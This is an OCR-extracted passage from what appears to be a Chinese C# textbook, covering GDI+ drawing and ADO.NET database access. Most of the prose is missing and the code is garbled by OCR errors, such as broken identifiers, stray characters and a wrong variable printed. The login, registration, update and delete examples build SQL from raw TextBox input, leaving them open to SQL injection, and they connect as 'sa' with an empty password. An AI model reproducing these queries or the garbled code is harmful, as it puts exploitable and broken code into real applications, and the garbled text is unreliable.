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W ¥3E Graphics *f %;

W 3P /% Paint F14F;
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14.1  GDI+jiBfjit

GDI+ Graphics Device Interface Plus
C#NET GDI+ 2D DirectX
3D System.Drawing
GDI+ Graphics Bitmap Brush
Font Icon Image Pen Color

14.2 GDI+{EHII 5

GDI+
NET Framework
GDI+
X Y
X Y
X Y X Y
14.2.1 Point

GDI+ Point
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GDI+ DrawLine() Point Point
01. Point p = new Point(10, 10);
X Y Point
GDI+ Point  PointF

1 X Y

2 Point int PointF float

3 Point PointF

4 PointF Point Point

Ceiling()

01. using System;
02. using System.Drawing;
03. namespace Magci.Test.Graphics
04. {
05. public class TestPointAndPointF
06. {
07. public static void Main()
08. {
09. !
10. Point p = new Point(10, 20);
11. Console.WriteLine("new Point(10, 20):");
12. Console.WriteLine("Moved {0} across, {1} down", p.X, p.Y);
13. //
14. p-X =30;
15. p.Y =40;
16. Console. WriteLine("Set X,Y:");
17. Console.WriteLine("Moved {0} across, {1} down", p.X, p.Y);
18. //PointF Point
19. Console.WriteLine("\nConverting:");
20. PointF pF = new PointF(23.4f, 38.2f);
21. Console.WriteLine("PointF pF = {0}", pF);
22. p-X = (int)pF.X;
23. p.Y = (int)pF.Y;
24, Console.WriteLine("PointF To Point:");
25. Console.WriteLine("Point p = {0}", p);
26. Point p1 = Point.Round(pF);
27. Console.WriteLine("Point.Round(pF) = {0}", p1);
28. Point p2 = Point.Truncate(pF);
29. Console.WriteLine("Point. Truncate(pF) = {0}", p2);
30. Point p3 = Point.Ceiling(pF);
31. Console.WriteLine("Point.Ceiling(pF) = {0}", p2);
32. //Point PointF
33. Console.WriteLine("Point To PointF:");
34. PointF pF2 = p;
35. Console.WriteLine("PointF pF2 = {0}", pF2);
36. }
37. }
38. }

Round()

147 8o

Truncate()
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14.2.2 Size
GDI+ Size ( ) Size Size
01. Size s = new Size(20, 20);
Height  Width Size
14.2.3 Rectangle
GDI+ Rectangle Point
Size Rectangle X Y
Point  Size Rectangle
01. Rectangle r1 = new Rectangle(l, 2, 5, 6);
02. Point p = new Point(1, 2);
03. Size s = new Size(5, 6);
04. Rectangle 12 = new Rectangle(p, s);
Rectangle
14.3 Graphics YI®R
Graphics GDI+ Graphics GDI+
Graphics
Graphics GDI+
GDI+
14.4 Paint B
Control Paint PaintEventArgs
Paint
PaintEventArgs
1 ClipRectangle
2 Graphics Graphics
OnPaint
Paint
01. Graphics g = pe.Graphics ;
02. //
03. Rectangle rect = mnew Rectangle(0, 0, 200, 200);
04. //
05. LinearGradientBrush  IBrush = new  LinearGradientBrush(rect,
06. Color.Red, Color.Yellow, LinearGradientMode.BackwardDiagonal);

07. g.FillRectangle(1Brush,  rect);
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145 ENgs

System.Drawing.Color ARGB Alpha Red Green
Blue
Color
RGB Color.FromArgb()
2 Color.Blue

01. using System;
02. using System.Collections.Generic;
03. using System.ComponentModel;
04. using System.Data;
05. using System.Drawing;
06. using System.Text;
07. using System.Windows.Forms;
08. namespace TestColor
09. {
10. public partial class Form1 : Form
11. {
12. public Form1()
13. {
14. InitializeComponent();
15. }
16. protected override void OnPaint(PaintEventArgs )
17. {
18. base.OnPaint(e);
19. Graphics dc = e.Graphics;
20. //RGB
21. Color redColor = Color.FromArgb(255, 0, 0);
22. Pen p = new Pen(redColor, 3);
23. dc.DrawLine(p, 0, 10, 100, 10);
24. /
25. Color blueColor = Color.Blue;
26. p = new Pen(blueColor, 3);
27. dc.DrawLine(p, 0, 20, 100, 20);
28. }
29. }
30. }

14.6 =M

System.Drawing.FontFamily

2 System.Drawing.Font
01. using System;
02. using System.Collections.Generic;
03. using System.ComponentModel;
04. using System.Data;
05. using System.Drawing;

06. using System.Text;
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07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.

14.7 [BIFE

CENITER G

using System.Windows.Forms;
using System.Drawing.Text;
namespace TestFonts

{

public partial class Form1 : Form

{

1

private const int margin = 10;
public Form1()

{

}

InitializeComponent();
this.AutoScrollMinSize = new Size(200, 3000);
this.BackColor = Color.White;

protected override void OnPaint(PaintEventArgs e)

{

base.OnPaint(e);

Graphics dc = e.Graphics;

int vertical Coordinate = margin;

Point topLeftCorner;

//

InstalledFontCollection insFont = new InstalledFontCollection();
FontFamily[] families = insFont.Families;
dc.TranslateTransform(this. AutoScrollPosition. X,
this.AutoScrollPosition.Y);

//
foreach (FontFamily family in families)
{
//
if (family.IsStyleAvailable(FontStyle.Regular))
{
Font f = new Font(family.Name, 10);
topLeftCorner = new Point(margin, verticalCoordinate);
//
verticalCoordinate += f.Height;
dc.DrawString(family.Name, f, Brushes.Black, topLeftCorner);
f.Dispose();
}
}

Pen

new Pen Color.Red
new Pen DbrickBrush
new Pen Color.Red, 5
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4 Pens Pens.Yellow
01. using System;
02. using System.Collections.Generic;
03. using System.ComponentModel;
04. using System.Data;
05. using System.Drawing;
06. using System.Text;
07. using System.Windows.Forms;
08. using System.Drawing.Drawing2D;
09. namespace TestPen
10. {
11. public partial class Form1 : Form
12. {
13. public Form1()
14. {
15. InitializeComponent();
16. this.BackColor = Color. White;
17. }
18. protected override void OnPaint(PaintEventArgs e)
19. {
20. base.OnPaint(e);
21. Graphics dc = e.Graphics;
22. !
23. Pen redPen = new Pen(Color.Red);
24. dc.DrawLine(redPen, 0, 10, 100, 10);
25. /
26. Brush brickBrush = new HatchBrush(HatchStyle.DiagonalBrick,
27. Color.DarkGoldenrod, Color.Cyan);
28. Pen brickPen = new Pen(brickBrush);
29. dc.DrawLine(brickPen, 0, 20, 100, 20);
30. //
31. Pen wideRedPen = new Pen(Color.Red, 5);
32. dc.DrawLine(wideRedPen, 0, 30, 100, 30);
33. Pen wideBrickPen = new Pen(brickBrush, 10);
34. dc.DrawLine(wideBrickPen, 0, 50, 100, 50);
35. !l Pens
36. Pen yellowPen = Pens.Yellow;
37. dc.DrawLine(yellowPen, 0, 70, 100, 70);
38. }
39. }
40. }

14.8 @Rl
Brush
new SolidBrush Color.Beige
2 Brushes Brushes.Azure
3 System.Drawing.Drawing2D.HatchBrush

151 8o
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01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.

CENITER G

using System;

using System.Collections.Generic;
using System.ComponentModel,;
using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;
using System.Drawing.Drawing2D;
namespace TestBrush

{

public partial class Form1 : Form

{
public Form1()

{
InitializeComponent();
this.BackColor = Color.White;
}

protected override void OnPaint(PaintEventArgs e)
{
base.OnPaint(e);
Graphics dc = e.Graphics;
//
Brush solidBeigeBrush = new SolidBrush(Color.Beige);
Pen p = new Pen(solidBeigeBrush, 3);
dc.DrawLine(p, 0, 10, 100, 10);
/ Brushes
Brush solidAzureBrush = Brushes.Azure;
p = new Pen(solidAzureBrush, 3);
dc.DrawLine(p, 0, 20, 100, 20);
/
Brush crossBrush = new HatchBrush(HatchStyle.Cross, Color.Azure);
p = new Pen(crossBrush, 3);
dc.DrawLine(p, 0, 30, 100, 30);
Brush brickBrush = new HatchBrush(HatchStyle.DiagonalBrick,
Color.DarkGoldenrod, Color.Cyan);
p = new Pen(brickBrush, 3);
dc.DrawLine(p, 0, 40, 100, 40);

149 EmEE

GDI+

GDI+

1.

Graphi

Graphics
cs.DrawlLine /5%

Point

public void DrawLine(Pen pen,Point ptl,Point pt2)



pen
Pen
ptl
Point
pt2
Point

01.
02.
03.
04.
05.
06.
07.
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System.Drawing.Pen
System.Drawing.Point

System.Drawing.Point

Windows PaintEventArgse Paint

public void DrawLinePoint(PaintEventArgs ¢)

{
Pen blackPen = new Pen(Color.Black, 3);
Point point] = new Point(100, 100);
Point point2 = new Point(500, 100);
e.Graphics.DrawLine(blackPen, pointl, point2);
H

2. Graphics.DrawRectangle 755%

Rectangle

public void DrawRectangle(Pen pen,Rectangle rect)

pen
Pen

rect

Rectangle

01.
02.
03.
04.
05.
06.

System.Drawing.Pen

System.Drawing.Rectangle

Windows PaintEventArgse Paint

public void DrawRectangleRectangle(PaintEventArgs )
{
Pen blackPen = new Pen(Color.Black, 3);
Rectangle rect = new Rectangle(0, 0, 200, 200);
e.Graphics.DrawRectangle(blackPen, rect);

el
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3. Graphics.DrawEllipse 755%

Rectangle

public void DrawEllipse(Pen pen,Rectangle rect)

pen System.Drawing.Pen
Pen
rect System.Drawing.Rectangle
Rectangle
Windows PaintEventArgse Paint
3
01. private void DrawEllipseRectangle(PaintEventArgs )
02. {
03. Pen blackPen = new Pen(Color.Black, 3);
04. Rectangle rect = new Rectangle(0, 0, 200, 100);
05. e.Graphics.DrawEllipse(blackPen, rect);
06. }

4. Graphics.DrawPolygon 753%

Point

public void DrawPolygon(Pen pen,Point[] points)

pen System.Drawing.Pen
Pen
points array<System.Drawing.Point>[]
Point
Windows PaintEventArgse Paint
3
01. public void DrawPolygonPoint(PaintEventArgs e)
02. {
03. Pen blackPen = new Pen(Color.Black, 3);
04. Point point] = new Point(50, 50);

05. Point point2 = new Point(100, 25);
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06. Point point3 = new Point(200,  5);

07. Point point4 = new Point(250, 50);

08. Point point5 = new Point(300, 100);

09. Point point6 = new Point(350, 200);

10. Point point7 = new Point(250, 250);

11. Point[] curvePoints ={point1,point2,point3,point4,point5,point6,point7};
12. e.Graphics.DrawPolygon(blackPen, curvePoints);

13. }

5. Graphics.DrawArc j57%
Rectangle

public void DrawArc(Pen pen,Rectangle rect,float startAngle,float sweepAngle)

pen System.Drawing.Pen
Pen
rect System.Drawing.Rectangle
RectangleF
startAngle System.Single
X
sweepAngle System.Single
startAngle
Windows PaintEventArgse Paint
1
2
3 45< 270<
4
X +45<  -45<
01. private void DrawArcRectangle(PaintEventArgs e)
02. {
03. Pen blackPen= new Pen(Color.Black, 3);
04. Rectangle rect = new Rectangle(0, 0, 100, 200);
05. float startAngle = 45.0F;
06. float sweepAngle = 270.0F;
07. e.Graphics.DrawArc(blackPen, rect, startAngle, sweepAngle);
08. }

6 Graphics.DrawCurve

Point

public void DrawCurve(Pen pen,Point[] points)

pen System.Drawing.Pen

155 8o
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Pen
points
Point

A W N =

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.

CENITER G

array<System.Drawing.Point>[]

Windows

0.5

PaintEventArgse Paint

private void DrawCurvePoint(PaintEventArgs e)

{

Pen redPen = new Pen(Color.Red, 3);
Pen greenPen = new Pen(Color.Green, 3);
Point point]l = new Point(50, 50);

Point point2 = new Point(100, 25);

Point point3 = new Point(200, 5);

Point point4 = new Point(250, 50);

Point point5 = new Point(300, 100);
Point point6 = new Point(350, 200);
Point point7 = new Point(250, 250);

Point[] curvePoints = {pointl, point2, point3, point4, point5, point6, point7}

e.Graphics.DrawLines(redPen, curvePoints);

e.Graphics.DrawCurve(greenPen, curvePoints);

}

7. Graphics.DrawBezier 757%

Point

public void DrawBezier(Pen pen,Point pt1,Point pt2,Point pt3,Point pt4)

pen
Pen
ptl
Point
pt2
Point
pt3
Point
pt4
Point

System.Drawing.Pen

System.Drawing.Point

System.Drawing.Point

System.Drawing.Point

System.Drawing.Point

Windows

PaintEventArgse

Paint

>



01.
02.
03.
04.
05.
06.
07.
08.
09.

01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
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private void DrawBezierPoint(PaintEventArgs e)
{
Pen blackPen = new Pen(Color.Black, 3);
Point start = new Point(100, 100);
Point controll = new Point(200, 10);
Point control2 = new Point(350, 50);
Point end = new Point(500, 100);
e.Graphics.DrawBezier(blackPen, start, controll, control2, end)

System.Drawing.Image Image FromFile()
BMP JPG PNG
Point

Drawlmage(Image mylmage, Point[] points);

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace TestDisplayPicture
{
public partial class Form1 : Form
{
private Image pic;
private Point[] picRounds;
public Form1()
{
InitializeComponent();
pic = Image.FromFile(@"NET.png");
this.AutoScrollMinSize = pic.Size;
picRounds = new Point[3];

/

picRounds[0] = new Point(0, 0);

!l

picRounds[1] = new Point(pic. Width, 0);

//

picRounds[2] = new Point(0, pic.Height);
}
protected override void OnPaint(PaintEventArgs ¢)
{

base.OnPaint(e);
Graphics dc = e.Graphics;
!

157 8o
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32. dc.ScaleTransform(1.0f, 1.01);

33. dc.TranslateTransform(this.AutoScrollPosition. X,
34. this.AutoScrollPosition.Y);

35. /l

36. dc.Drawlmage(pic, picRounds);

37. }

38. }

39. }

10 ERERSEbREIZEEM

Clipboard.Getlmage
BitmapSource Bitmap

public static Image Getlmage ()

System.Windows.Media.Imaging .BitmapSource

Image Bitmap
ContainsImage
01. public System.Drawing.Image SwapClipboardImage(
02. System.Drawing.Image replacementlmage)
03. {
04. System.Drawing.Image returnimage = null;
05. if (Clipboard.ContainsImage())
06. {
07. returnlmage = Clipboard.Getlmage();
08. Clipboard.Setlmage(replacementImage);
09. }
10. return returnlmage;
11. }
01. IDataObject data = Clipboard.GetDataObject();  //
02. if(data.GetDataPresent(typeof(Bitmap))) //
03. {
04. Bitmap map = (Bitmap) data.GetData(typeof(Bitmap)); //
05. this.pictureBox1.Image = map; I
06. map.Save(@"C:\a.bmp"); /
07. }
Clipboard.Setlmage
Bitmap BitmapSource

public static void Setlmage (Image image)
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image

System.Windows.Media.Imaging.BitmapSource

BitmapSource
01. public System.Drawing.Image SwapClipboardImage(
02. System.Drawing.Image replacementlmage)
03. {
04. System.Drawing.Image returnlmage = null;
05. if (Clipboard.ContainsImage())
06. {
07. returnlmage = Clipboard.Getlmage();
08. Clipboard.SetImage(replacementIlmage);
09. }
10. return returnlmage;
11. }

11 RHRMIEXEEE
Windows WinMediaPlayer
“c i ““COM
Windows Media Player
Windows Media Player Dock

01. OpenFileDialog OpenFile = new OpenFileDialog();

02. try

03. {

04. if (OpenFile.ShowDialog() == DialogResult.OK)
0s. {

06. axWindowsMediaPlayerl.URL = OpenFile.FileName;
07. }

08. }

09. catch (Exception ex)

10. {

11. MessageBox.Show(ex.Message);

12. }

01. this.Close();

01. axWindowsMediaPlayer1.Ctlcontrols.play();
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01. axWindowsMediaPlayer1.Ctlcontrols.pause();

01. axWindowsMediaPlayerl.Ctlcontrols.stop();

01. axWindowsMediaPlayer1.Ctlcontrols.fastForward();
0l. axWindowsMediaPlayer1.Ctlcontrols.fastReverse();
01. axWindowsMediaPlayer1.Ctlcontrols.next();

01. axWindowsMediaPlayer1.Ctlcontrols.previous();

14.12 TRBELiE

JE&#:  GDI+

IMEAR: Load Graphics Brush Color Font SizeF PointF
EB/Y:
1 Graphics
2 Brush  Color
3 Font SizeF PointF
4
LE 5
1 Drawlma  Windows
2
01. const string sExeCapion =" "
02. const string sVersion =" "
03. const string sFontName =" "
04. const string sVerFontName = "Arial";
05. const int DecWidth = 2;
3

using System.Drawing.Drawing2D;
using System.Reflection;

4
01. RectangleF rect = picBoxLogin.ClientRectangle;
02. Image image = new Bitmap(pictureBox1.Image, (int)rect. Width, (int)rect. Height);
03. Graphics g = Graphics.FromImage(image);

04. /I
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05. g.TextRenderingHint = System.Drawing. Text. TextRenderingHint. AntiAlias;
06. /I

07. Brush brush = new SolidBrush(Color.FromArgb(47, 67, 115));

08. g.FillRectangle(brush, rect);

09. brush.Dispose();

10. /I

11. rect.Offset(DecWidth, DecWidth);

12. rect.Height = rect.Height - DecWidth * 2;

13. rect. Width = rect. Width - DecWidth * 2;

14. Color beginColor = Color.FromArgb(255, 255, 255);

15. Color endColor = Color.FromArgb(163, 184, 226); //Color.FromArgb(103, 114, 196);
16. try

17. {

18. brush = new LinearGradientBrush(rect, beginColor, endColor,
19. LinearGradientMode. Vertical);

20. g.FillRectangle(brush, rect);

21. }

22. finally

23. {

24, brush.Dispose();

25. }

26. /1

27. Font font = new Font(sFontName, 26, FontStyle.Bold);

28. SizeF sSize = g.MeasureString(sExeCapion, font);

29. PointF point = new PointF(10, (rect.Height - sSize.Height) / 2 + DecWidth);
30. g.DrawString(sExeCapion, font, Brushes. White, point);

31 /1

32. point.X = point.X - 1;

33. point.Y = point.Y - 1;

34. g.DrawString(sExeCapion, font, Brushes.Green, point);

35. /1

36. string version = Assembly.GetExecutingAssembly().GetName().Version. ToString();
37. /1

38. font.Dispose();

39. font = new Font(sVerFontName, 9, FontStyle.Bold);

40. sSize = g.MeasureString(sExeCapion, font);

41. point.X = rect. Width - sSize.Width * 2 + 40;

42. point.Y = rect.Height - (float)(sSize.Height * 1.5);

43, g.DrawString(sVersion + version, font, Brushes.Black, point);

44. picBoxLogin.Image = image;

45. g.Dispose();

46. font.Dispose();

1413 BF1S51BMR

GDI+ Windows
Graphics GDI+ Pen  Brush
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14.14  SIES Fillscls

R

1 Graphics
2
3 Label

4 PictureBox Panel

W

Fise

e

[3C5e] B AIESiR
[SBRER]

Windows
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SDI Windows
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FEFIER

B FAET R AR A

B TR AR E A b 4nin

B 32/ ADO.NET;

W YRR

[ JROIE= 2 &k

W 1% A SqlDataReader %t %;
W %R T AL 5 19 ADONET 4045 & ;

B ¥ X DataSet &£ ;

B {%Jf] DataSet. DataTable #= TableAdapter 3 % ;
B PATR AR

B ZIBIEYE.,

15.1 EHEIRE

Access SQL Server MySQL Oracle DB2

15.1.1 Access ¥iZlE

Access Office Windows
Access Windows
Access
Access SQL  Structured Query Language
Access

dBASE FoxPro Paradox  Access
* mdb

Access



B 164 CHATI B

cc >3 Web

15.1.2 SQL Server i 1E

SQL Server Microsoft Sybase  Ashton-Tate 3
Windows NT Microsoft SQL Server Windows NT
SQL Server  Windows NT Sybase SQL Server  UNIX
SQL Server
15-1
B studentInfo : & B nsernfo @ &
FELER E e | [ FEEEE
HED & RS 7|
Hame £ S
S 2F g
sBirthday X A FER
cClassne X HEERS
ddrese e ez R rzecace ¥ —
oTel TE BAERAE e e |
Eroffame Tdb2dn
ZRET ]
[ BehimS B classTnfo : &
% | e o e FEEH BgAE
% | subject rE BiEEH 7 [cLassHane TE EE 5T
sonre BF g IZ‘PM I bRy
15-1 student

15.2 SYREELERNR

1521 %

1. EBRIER
SELECT
SELECT

Select

From

Where

Group By

Order By [Asc|Desc]
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2. fNFRICR

INSERT
INSERT [INTO] < >[(< >)] VALUES(< >)
INSERT [INTO] < >[(< >)]

3. EHEFTICE
UPDATE

UPDATE<  >SET<  >=< S
[WHERE <  >]

UPDATE < >SET<  >=< S
FROM < >[WHERE<  >]
SELECT < > FROM < >WHERE< >
4. MIBRFRICRE
DELETE

DELETE [FROM] < >
[WHERE<  >]

15.2.2 #E
1. B

2. &R

CREATE VIEW < S< sl
AS
<SELECT >

15.2.3 frlisidikE
1. Bk

SQL
SQL Server 2005

165 8o

UPDATE

SQL
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2. &%
CREATE PROCEDURE < >
AS
<SQL >
15.2.4 =Ryl
1. R5|HE&
2. H|HgFHA
249
3. &%
CREATE [UNIQUE] [Clustered] INDEX < >
ON [< >|(< >[DESC][, ]
15.3 ADO.NET jBfijit
ADO.NET NET
SQL Server OLE DB ODBC  Oracle
ADO.NET DBMS
15.3.1 ADO 5 ADO.NET HX&H
ADO OLE DB COM
ADO.NET ADO
ADO.NET
ADO OLE DB
ADO.NET ADO
ADO
1 ADO.Connection
2 SQL RecordSet
3
4
ADO.NET ADO.NET DataSet DataSet
DataSet DataSet ADO.NET

1

2
3 DataSet
4 2 DataSet
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5
6 DataSet
ADO ADO.NET 15-2 15-3
r:‘? Fﬂ .-"";‘31.15!: iTe g
TTADO
15-2 ADO 15-3 ADO.NET

15.3.2 .NET Framework iR {125

167 8o

NET Data Provider SQL
15-1 NET Framework NET Framework
%= 15-1 .NET Framework #UE{RILIER
NET Framework
Microsoft SQL Server 7.0 System.Data.SqlClient
SQL Server NET Framework
OLE DB .NET Framework OLE DB System.Data.Oledb
ODBC .NET Framework ODBC System.Data.Odbc
Oracle Oracle .NET Framework Oracle
Oracle .NET Framework
8.1.7 System.Data.OracleClient
15.3.3 .NET Framework ¥{iatiz (il a9nZIWXg &
NET Framework Connection Command DataReader  DataAdapter

15-4
ADD_NET %43
MNET Framework BiEiREEF DataSet
Connection DataAdapter DataTableCollection
(=% | N [selectCommand . BEE
i |DataRowCaIIection |
Command
| DataColumnCollection |
UpdateCommand
i |CanstraintCoIIection |
| DataRelationCollection |

| +
\
XML
iR

15-4 NET Framework
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1 Connection DbConnection DBMS
DBMS

2 Command

3 DataReader DbDataReader

4 DataAdapter SQL DataSet DataAdapter DataSet
DataAdapter Command SQL

DataSet DataSet

15.3.4 System.Data ip&3%5Iin)

NET Framework 2.0  System.Data ADO.NET 2.0
Windows Visual Studio 2005 System.Data.dll
Data Source Configuration Wizard System.Data
System.Xml 15-2 15-4 System.Data
%< 15-2 System.Data @5 & %5[g]
XML
System.Data
DbConnection
System.Data.Common
DbCommand
. ADO.NET 2.0
System.Data.Common. DbConnection
System.Data.Odbc
System.Data.OleDb
] ADO.NET 2.0
System.Data.OracleClient
System.Data.SqlClient
SQL Server SQL Server 2005 XML
System.Data.SqlTypes
DbType
System.Xml.XmlDataDocument DataSet
System.Xml
XML

15.4 EIGEIRIE

SQL

[ N U R S
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15.4.1 SqlConnection &
Connection ADO.NET Connection
SQL Server SqlConnection SQL
ODBC OleDbConnection Connection ADO.NET

SQL Server

using System.Data;
using System.Data.SqlClient;

Provider  SQL Server

SqlConnection con = new SqlConnection();

15.4.2 &S 5B

2o

15-3
#15-3 ELMEERFHERREM
DBMS DBMS
DBMS DBMS
Data Source DBMS URI— 1P SQL
Server Express ASQLEXPESS SQLEXPESS DBMS
SQL Server Express
Initial Category DBMS

User ID SQL Server Windows

Password SQL Server Windows

Provider  SQL Server

con.ConnectionString = "Data source= localhost;initial catalog=student;persist security info=True;user
id=sa;password=";

initial catalog student SQL Server
user id password student
sa Data source
localhost
15.4.3 Bl SQL Server i&k:
open() open() Connection
ConnectionString

con.open();

15.4.4 [iiiH SQL Server i&
Connection Connection Close

Dispose Connection
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con.Close();

E &R:
MERE: SqlConnection
15-5
BB
1
2
MBZR:
1 Windows
2
3

EREENEEER

RS8R © localhost, BIBEER © ctudent

15-5

private void btnShowServerInfo_Click 1(object sender, EventArgs e)

{
SqlConnection con = new SqlConnection(); /!
con.ConnectionString = "Data source=localhost;initial catalog=student;user id =sa ; password =";
//
con.Open(); //
Iblmessage. Text =" "+con.DataSource +", "+con.Database ;
con.Close(); //

}

15.4.5 OleDbConnection Zk

OleDbConnection ADO.NET Connection ODBC

Access

using System.Data;
using System.Data.OleDb;

Provider OLE DB

OleDbConnection Conn = new OleDbConnection();

Provider OLE DB
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Conn.ConnectionString = "Provider=Microsoft.Jet. OLEDB.4.0;Data Source =c:\\ student.mdb; ";

Provider DataSource
ConnectionTimeOut 15

15.5 HIBRG=

DbCommand DbCommand SQL
DbCommand
DbCommand DbCommand
DbCommand
DbCommand DbCommand.CommandText SQL
DbCommand.CommandType
DbCommand.Connection ~ DbCommand.Tranction
DbCommand
1 DbCommand.ExecuteNonQuery/()
2 DbCommand.ExecuteScalar()
3 DbCommand.ExecuteReader()
DbDataReader
ADO.NET Command SQL

string txtCommand="SELECT * FROM UserInfo";

OleDbCommand
OleDbCommand cmd=new OleDbCommand(txtCommand,conn);

SQLCommand

SQLCommand cmd=new SQLCommand(txtCommand,conn);

15.5.1 BiflcR

INE &R
Iﬁi E W ?§' . cc 3
SQL Student UserInfo
IMBEBaY:
1 SQL
2 SqlCommand
MBLE:
1 Label Text

2 TextBox Text TextBox1
TextBox2
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3 using System.Data.SqlClient
SqlConnection con SqlCommand cmd
5 Text=" " 15-6
=53] =]
B8

BPE: H=

G © 123
FIhET

15-6

private void btnreg_Click(object sender, EventArgs e)

{
SqlConnection con = new SqlConnection();
// SqlConnection SqlConnection SQL Server
con.ConnectionString = "Data source=localhost;initial catalog=student;user id=sa ;password=";
/*ConnectionString */
con.Open();
/ ConnectionString

string sql = "select * from userInfo where uname="" + textBox1.Text.Trim() + " and upwd="
+ textBox2.Text. Trim() + "";

SqlCommand cmd = new SqlCommand(sql, con);

// SqlCommnad SQL SqlConnection
SqlDataReader sdr = cmd.ExecuteReader(); 1 DataReader*/
if (sdr.Read())
{
MessageBox.Show(" ");
}
else
{
MessageBox.Show(" ");
}
con.Close();
/l
}
15.5.2 ALK
=R
Iﬁi‘ E Ij\]:,—‘e—\'. . cc »3 SQL
Student UserInfo
EBE/:
1 SQL

2 SQLCommand
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1

2
TextBox2

3

4

5
15-7

% 15%F HABAEHAK
Label Text
TextBox Text
using System.Data.SqlClient
SqlConnection con SqlCommand cmd
Text (X3 R (X3

23111
LR R P S e

FH P

: : BMRSS
B john EERE
553 456

15-7

private void btnCheck Click(object sender, EventArgs e)

password=";

{/

SqlConnection con = new SqlConnection();

con.ConnectionString = "Data source=localhost;initial

con.Open();

TextBox1

173 8o

catalog=student;user id =sa ;

string sql = "select * from userInfo where uname="" + textBox1.Text.Trim() + "";

SqlCommand cmd = new SqlCommand(sql, con);
SqlDataReader sdr = cmd.ExecuteReader();

if (sdr.Read())
{
MessageBox.Show(" ")
}
else
{
MessageBox.Show(" ");
}

con.Close();

private void btnAdd Click(object sender, EventArgs e)

{

try

SqlConnection con = new SqlConnection();
con.ConnectionString = "Data source=localhost;initial catalog=student;user id=sa ; password=";
con.Open();

string sql = "insert into

textBox2.Text. Trim() +")";

userInfo(uname,upwd) values('"" + textBoxl.Text.Trim() + "

’

m
0+
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SqlCommand cmd = new SqlCommand(sql, con);
SqlDataReader sdr = cmd.ExecuteReader();

MessageBox.Show(" ");
con.Close();
}
catch (SqlException ex)
{
MessageBox.Show(ex.Message);
}
i
15.5.3 [EB&icxR
E &R:
HEME: o
SQL Student UserInfo
I EHEAY:
1 SQL
2 SQLCommand
IEHPR:
1 Label Text
2 TextBox Text TextBox1
TextBox2 TextBox3 TextBo4
3 using System.Data.SqlClient
4 SqlConnection con SqlCommand cmd
5 Text=" " 15-8
BREBES G
HRsR
APs: H=
[:ER=F 123
s =1
TR =
T
B EARETD

15-8

private void btnUpdate Click(object sender, EventArgs e)
{

if (textBox3.Text ==textBox4.Text )

{

SqlConnection con = new SqlConnection();
con.ConnectionString = "Data source=localhost;initial catalog=student;user id=sa ; password=";
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con.Open();

string sql = "update userinfo set upwd=""+textBox3.Text +"" where uname=""+textBox1 .Text +"'
and upwd=""+textBox2.Text +"";

SqlCommand cmd = new SqlCommand(sql, con);

int n = cmd.ExecuteNonQuery();

if (n>0)
{
MessageBox.Show(" ");
¥
else
{
MessageBox.Show(" ");
¥
con.Close();
¥
else
{
MessageBox.Show(" ");
¥
¥
15.5.4  [MIERICR
B &R
Iﬁj E W:,—‘e—\-. . cc E R SQL
Student UserInfo
BB
1 SQL
2 SQLCommand
MBZR:
1 Label Text
2 TextBox Text TextBox1
TextBox2
3 using System.Data.SqlClient
4 SqlConnection con SqlCommand cmd
5 Text=" " 15-9
HER B H ==
MEEH &
GRS *=
= - 21

s F P HERFETh

15-9
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private void btnDelete Click(object sender, EventArgs e)
{
SqlConnection con = new SqlConnection();
con.ConnectionString="Data source=localhost;initial catalog=student;user id=sa ; password=";
con.Open();
string sql = "delete from userinfo where uname="" + textBox1.Text + "' and upwd=""' +
textBox2.Text + "";
SqlCommand cmd = new SqlCommand(sql, con);
int n = cmd.ExecuteNonQuery();

if (n>0)
{
MessageBox.Show(" "):
}
else
{
MessageBox.Show(" ");
}

con.Close();

15.6 SqlDataReader Y15

SqlDataReader
DbDataReader
SqlDataReader DataReader
DataReader 15-10
| Database H
15-10  DataReader
Command Command.ExecuteReader
DataReader Read
DataReader DataReader

SqlDataReader sdr = cmd.ExecuteReader();

WASE=4
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MERE: proflnfo
EBH:
1 SQL
2 Sql Command
DE %
1 Label Text “*© i
2 TextBox Text
3 using System.Data.SqlClient
4 SqlConnection con SqlCommand cmd
5 Text=" " 15-11

] Form?

EHA TGS 000z o002, EhigdiHE

15-11

private void btnSelect_Click(object sender, EventArgs e)

{

SqlConnection con = new SqlConnection();
con.ConnectionString = "Data source=localhost;initial catalog=student;user id=sa ; password=";
con.Open();
string sql = "select profNo,profName from proflnfo where profNo="" + textBox1.Text + " ";
SqlCommand cmd = new SqlCommand(sql, con);
SqlDataReader newSqlReader = cmd.ExecuteReader();
if (newSqlReader.Read())

{

MessageBox.Show(newSqlReader.GetString(0) + ", " + newSqlReader.GetString(1));
}

else

{
MessageBox.Show(" ");

}
newSqlReader.Close();

con.Close();

15.7 (RAAOIAEEEAIG ADONET IR

DataGridView DataSource
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DataSet
DataGridView
(X3 b . R (X3
DataGridView
~= & E a4 ®= & E 4
Ehl [2]=
[oF ==

S Colunnl

=l DatalridViewT extBoxlolunn v
DataGrid¥iewButtonlol:

TUELE M) |Darate] Vi aeCheckBontolamn
DataGrid¥iewComboBoxColumn
DataGrid¥iewInageColumn
DataGrid¥iewlinklolumn
DataGrid¥iewTextBoxColumn

15-12 DataGridView

5 DataGridViewLinkColumn

6 DataGridViewImageColumn

CENITER G

DataGridView
DataSet
i DataGridView
1 DataGridViewTextBoxColumn

2 DataGridViewCheckBoxColumn

W

4  DataGridViewButtonColumn

DataGridViewButtonColumn
URL

15-4 DataGridView

% 15-4 DataGridView S E5IHI /B 14

DataGridViewComboBoxColumn

DataSet

15-12

LinkButton

DefaultCellStyle

HeaderText

ContextMenuStrip

ReadOnly

Resizable

SortMode

Automatic

NotSortable

Programmatic

AutoSizeMode

Frozen

True

ID




M E&%R: DataGridView
HEAS:
EBE/:

